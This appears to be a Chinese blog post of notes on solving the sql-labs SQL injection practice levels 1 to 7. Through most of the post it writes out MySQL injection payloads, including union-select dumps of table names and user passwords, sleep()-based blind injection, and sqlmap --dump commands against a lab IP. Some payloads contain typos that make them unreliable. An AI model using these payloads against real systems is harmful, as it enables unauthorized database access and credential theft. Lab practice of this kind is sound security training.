SQL注入>>>sql-labs通关笔记(一)

小记

针对如何学习SQL注入,我自己总结的三个大步骤:
1. 漏洞的判断检测和分类
2. 利用漏洞可以进行的攻击
3. 如何防御这些攻击

ps:以下指的是MySQL注入,MySQL数据库需要注意的一点:
MySQL5.0以下:这个版本是没有information_schema这个系统表的(据说这是笔试会遇到的题目),所以无法列表名,只能暴力跑表名;
MySQL5.0以上:这个版本默认有一个information_schema的数据库,相当于字典所以对数据库开发人员很方便,同时也对攻击者提供了方便,information_schema数据库有三个表一定要记住:
1. information_schema.schemata:该表存储了MySQL数据库中所有数据库的库名:
2. information_schema.tables:该表存储了MySQL数据库中所有数据表的表名;
3. information_schema.columns:该表存储了MySQL数据库所有列的列名;

有关SQL注入的知识我就不写太多啦,这篇也只是我做题的笔记(有错误请留言谢谢啦)
http://43.247.91.228:84/Less-1/懒人网址
也可以自己搭建靶机环境;
自己理解的一般SQL注入步骤:

1. 判断注入点是否存在及其SQL注入类型(如果可以猜测出语句)
2. 猜解字段长度
3. 确定数据库中的回显位
4. 查询数据库版本及其有用信息方便接下来的注入
5. 暴库名暴表名暴字段值

Less-1

在这里插入图片描述
进入平台我们可以看见这样的界面,一般刷题的时候英语不好的同学可以新建一个谷歌翻译的界面,然后复制粘贴去翻译,比如我,意思是说请输入ID作为带有数字值的参数,直接在URL后添加参数id=1:
在这里插入图片描述
有回显变化;可能存在SQL注入;接着我们再加入单引号;
在这里插入图片描述
发现报错,根据报错的提示我们判断这里存在SQL字符型注入;
此时我们闭合掉单引号发现页面回显正常(id=1’ --+ )确定是GET型基于报错的字符型(单引号闭合)SQL注入;

接下来猜解字段数:

id=1' order by 4 --+(从1猜到4发现报错)ps:这里为什么不能使用#注释掉单引号?是因为再URL中#是有固定含义的,表示页面中的锚点

所以这里字段数是4

在这里插入图片描述
判断显示位
?id=-1’ union select 1,2,3 --+
union联合查询需要让它左边的表达式为假,这里使id=-1
在这里插入图片描述
发现第二列和第三列显示;现在执行我们的第四步:

?id=-1' union select 1,version(),database --+

在这里插入图片描述
得到库名和数据库版本,在MySQL5.0版本以上;
暴库名(现在的库名是security)暴表名(会用到group_concat函数来合并成一个字段暴出来)

?id=-1' union select 1,2,group_concat(table_name) from infromation_schema.tables where table_schema='security' --+

在这里插入图片描述
暴字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

在这里插入图片描述
暴字段值

?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+

在这里插入图片描述
这是其中一种方法,还有一种是手工报错型注入,需要用到 extractvalue函数暂时我不是很会…
还有直接用sqlmap工具跑就完事儿!

Less-2

同样是按步骤来:
判断是否存在SQL注入(这个平台肯定是存在的,其实是在这里是多余的步骤哈哈哈)
那我们就来判断SQL注入的类型,输入id=1’报错,然后将单引号闭合发现页面还是报错;
判断可能是数字型注入,输入?id=1 and 1=1,页面正常;
在这里插入图片描述
输入?id=1 and 1=2,回显变得不一样了:
在这里插入图片描述
说明是数字型注入,接下来就很简单了,经过关卡1的洗礼应该是很简单的;
在这就只总结一下:

猜解字段长度:?id=1 order by 4 --+报错  三个字段
确定回显位:?id=-1 union select 1,2,3 --+  回显位是第2,3字段
获取信息(顺带暴库):?id=-1 union select 1,version(),database() --+   版本5.0以上  security数据库
暴表名:?id=-1 union select 1,group_concat(table_name),3 from information.schema.tables where table_schema='security' --+   表名users
暴字段:?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+    
暴字段值:?id=-1 union select 1,group_concat(username),group_concat(password) from users--+

Less-3

直接输入?id=1’ 根据提示输入的内容存到了单引号和圆括号之间 ‘1’’) LIMIT 0,1

在这里插入图片描述
输入?id=1’) --+回显正常页面:是基于错误五的GET字符型注入;
其余步骤和前面一样,只需要将单引号后加一个括号;
Less-4
和上述一样输入单引号,页面无回显;
输入双引号,页面报错:
在这里插入图片描述
根据提示本题和上一题不同的只有输入的内容存到了双引号和圆括号之间;所以也就不多说啦!

Less-5

输入?id=1,页面如图:
在这里插入图片描述
没有返回任何有用信息,第一反应就是基于时间的盲注、布尔型的盲注、
输入?id=1’报错,根据提示可以知道是单引号字符型注入
输入?id=1’ and sleep(5) --+有明显延迟,但是这种类型的手工注入会很麻烦,通过延迟来依次爆破数据库长度,库名,表名,列名;
这里只总结一下大致过程:

暴库长:?id=1' and if(length(database())=8,sleep(5),1)--+
暴库名:?id=1' and if(left(database(),1)='s',sleep(5),1)--+
暴表名:?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
暴列名:?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
爆破值:?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+

还有布尔型的盲注和这种方法类似,真的太难了!要不是迫不得已才不会放着工具不用;
还有一种方法用双注入报错查询,原理是count函数遇到group by会报错,我这个不大懂
我是用sqlmap跑出来的:
在kali终端:sqlmap -u " http://43.247.91.228:84/Less-5/?id=1" --dbs --batch -p id
一下子就都出来啦
在这里插入图片描述

sqlmap -u "http://43.247.91.228:84/Less-5/?id=1" --dbs -p id --batch -D "security" --tables
sqlmap -u "http://43.247.91.228:84/Less-5/?id=1" --dbs -p id --batch -T "users" --columns
sqlmap -u "http://43.247.91.228:84/Less-5/?id=1" --dbs -p id --batch -C username,password --dump

在这里插入图片描述
爆破成功;

Less-6

老规矩,我们还是?id=1、?id=1’,页面都显示正常,然后输入?id=1"回显报错,根据提示,判断这是双引号字符型注入,和less-5一样也可以用sqlmap跑出来,手工注入方式思路也是一样的,所以就不再浪费时间做这个啦~

Less-7

按常规输入? id=1’回显错误,闭合单引号还是回显错误
那我们接着输入?id=1’)还是回显错误,闭合之后还是错误
试一下?id=1’))回显错误,闭合回显如下:
在这里插入图片描述
功夫不负有心人啊,然后根据提示是outfile函数,这里我做不了因为我还没有搭建这个实验靶机,是在在线服务器上做的。手工不了但是还是可以用sqlmap跑出来;
接下来八九十三题分别是:
布尔型单引号GET盲注;
基于时间的GET单引号盲注;
基于时间的双引号盲注;
注入方法和思路之前有介绍过,而且!!!有sqlmap工具用着他不香吗尤其是盲注和报错注入;

最后如有大佬看到帮忙指出错误,🙇‍🙇‍🙇‍

  • 10
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值